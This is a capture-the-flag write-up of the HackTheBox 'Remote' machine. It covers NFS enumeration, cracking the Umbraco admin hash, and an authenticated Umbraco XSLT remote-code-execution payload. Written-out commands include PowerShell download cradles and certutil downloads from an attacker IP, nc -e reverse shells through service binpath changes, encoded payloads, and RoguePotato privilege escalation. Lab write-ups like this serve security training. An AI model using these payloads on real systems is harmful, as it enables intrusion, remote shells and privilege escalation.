# HackTheBox - Remote

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZhTHEIVG5KO0fn3hVb%2F-MZhTKIsXlpEa_vCZzkK%2Fimage.png?alt=media\&token=9d7ba40b-780f-4575-9dd5-ea320ad1a279)

### Nmap scan results

```csharp
nmap -p- -A -T4 -oA nmap-remote 10.10.10.180
```

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZh0N2uUcF_eBekWovC%2Fimage.png?alt=media\&token=80ad890d-6afd-4451-9376-b81922089c5f)

Let's enumerate the FTP Server and see if we can get any **`sensitive/conf`** files.

![Epic Fail](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZh1JmGexTt69t7Vw_Q%2Fimage.png?alt=media\&token=369df511-f886-49bf-884a-c0277b4a7f6b)

### Enumerating webserver (Microsoft HTTPAPI)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZh1ysxI0ecwJX-onBL%2Fimage.png?alt=media\&token=f6561be5-419e-4396-94d8-535440c1b1fd)

There's a [Umbraco ](https://umbraco.com/)CMS (Content Management System) running and we can search for potential exploits, but first we will run a gobuster scan in the background.

> Umbraco is an open-source content management system platform for publishing content on the World Wide Web and intranets. It is written in C# and deployed on Microsoft based infrastructure.

```csharp
gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.180/ -o gob-dir-scan.out -t 50
```

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZh2W5lioJwhkUVgSON%2Fimage.png?alt=media\&token=2de637b5-0536-4932-bd72-5a3843ec382b)

**There are certain exploits available for this CMS but we need to enumerate the version used.**&#x20;

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZh2k_dXsvnzir8SB0L%2Fimage.png?alt=media\&token=0ddb3fa9-0858-454e-b473-8ae3495d00d4)

### Mounting the [NFS ](https://www.datto.com/blog/what-is-nfs-file-share)Share

{% hint style="info" %}
&#x20;**NFS**, or Network File System, is a collaboration system developed by Sun Microsystems in the early 80s that allows users to view, store, update or **share** files on a remote computer as though it was a local computer.
{% endhint %}

```csharp
mount -t nfs 10.10.10.180:/site_backups /mnt/backups -o nolock
```

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZh3Q2_gEbUW27tOXdW%2Fimage.png?alt=media\&token=1e9457b7-afe9-4f2e-b0de-1bc1d894ad25)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZh3apHzxec_nQUnaNw%2Fimage.png?alt=media\&token=a9f65902-9059-465d-8531-3d03ab222627)

So the configuration file for Umbraco CMS is stored in **`Umbraco.sdf`** file which contains the usernames and passwords. The file is located at **`App_data/Umbraco.sdf`**

I actually ran **strings** on Umbraco.sdf file to get the credentials for admin. We will also need to verify the version used. Check **`Web.config`** file

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZh99f8lwPG6UbrRFct%2Fimage.png?alt=media\&token=5906424e-08d5-434b-a549-9f749eb51e85)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZh4l_1WKnAEyjbDUUE%2Fimage.png?alt=media\&token=d5b9c1c4-5a8d-40d2-a3a9-5f9747981327)

Get the SHA-1 hash for admin and crack it using **John** or **hashcat**.

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZh59pKLRxa9i0Hc9g9%2Fimage.png?alt=media\&token=cb2591f4-1ee8-4008-81ae-1ebae3cc0ce5)

Now that we have credentials, we can try to exploit that **`(Authenticated) Remote Code Execution`**

### Exploiting Umbraco's RCE (Authenticated)

This is the vulnerable page at **`http://10.10.10.180/umbraco/developer/Xslt/xsltVisualize.aspx`**

```markup
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">
    public string xml() 
    { 
        string cmd = "<cmd-arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<cmd>"; 
        proc.StartInfo.Arguments = cmd; 
        proc.StartInfo.UseShellExecute = false; 
        proc.StartInfo.RedirectStandardOutput = true;  
        proc.Start(); string output = proc.StandardOutput.ReadToEnd(); 
        return output;
     }  
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> 
 </xsl:template> </xsl:stylesheet>
```

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZh7TBq6JuDp_ax8BYO%2Fimage.png?alt=media\&token=fcb28c24-4e3a-4818-a252-2ebe0e308aad)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZh7VJlvwtGw_YUNL6K%2Fimage.png?alt=media\&token=4073688c-5b85-4057-a0bc-0188579dd726)

### Using [nishang's](https://github.com/samratashok/nishang/tree/master/Shells) powershell script to get a reverse shell

```c
python3 exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell -a "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5:8000/shell.ps1')"
```

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZhAN6VV4eJZYDPxujw%2Fimage.png?alt=media\&token=4af5faa7-8696-409a-bf10-9c42725b17ba)

### Running winpeas.exe (Privilege Escalation)

```c
certutil.exe -urlcache -f http://10.10.14.5:8000/winpeas.exe winpeas.exe
```

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZhEYeMI6ZBNn6CFhea%2Fimage.png?alt=media\&token=6bc3c67c-0739-4dc7-ab8c-460581bf78eb)

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZhEQBriAn-Tg7uHZfp%2Fimage.png?alt=media\&token=991ea165-1372-44b0-be07-626f6126f2b7)

> If the group "Authenticated users" has **SERVICE\_ALL\_ACCESS** in a service, then it can modify the binary that is being executed by the service. To modify it and execute **nc** you can do:

{% embed url="<https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services>" %}

```bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
```

```bash
echo "Iex(New-Object Net.WebClient).downloadString('http://10.10.14.5:8000/shell.ps1')" | iconv -t utf-16le | base64 -w 0
```

```bash
sc.exe config UsoSvc binpath= "cmd.exe /c powershell.exe -EncodedCommand SQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AY
QBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADUAOgA4ADAAMAAwAC8AcwBoAGUAbABsAC4AcABzADEAJwApAAoA"
sc.exe start usosvc
```

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZhL_I1aeUprmmv9hnl%2Fimage.png?alt=media\&token=9e754632-7d1d-4c8e-91d8-4b051505044a)

### Trying Rogue Potato Attack&#x20;

{% embed url="<https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html>" %}

Download the exploit from [here ](https://github.com/antonioCoco/RoguePotato/releases/tag/1.0)and transfer it to the target machine using **`certutil.exe`**

```cpp
certutil.exe -urlcache -f http://10.10.14.5:8000/RogueOxidResolver.exe RogueOxidResolver.exe
certutil.exe -urlcache -f http://10.10.14.5:8000/RoguePotato.exe RoguePotato.exe
```

The exploit doesn't work without providing **CLSID**, we can get **CLSID** for UsoSvc service from [here](http://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise/).

> A CLSID is a globally unique identifier that identifies a COM class object. If your server or container allows linking to its embedded objects, you need to register a CLSID for each supported class of objects.

```cpp
.\RoguePotato.exe -r 10.10.14.5 -e "powershell.exe -Enc SQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADUAOgA4ADAAMAAwAC8AcwBoAGUAbABsAC4AcABzADEAJwApAAoA" -l 9999 -c "{B91D5831-B1BD-4608-8198-D72E155020F7}"
```

![](https://3213130171-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXuSwPsb0qfDA0yM5rj%2F-MZh-urBTHlX-MYDLXaW%2F-MZhT2oSMcKgAz980cza%2Fimage.png?alt=media\&token=233cc094-5f46-4b1a-9420-31c494e88242)
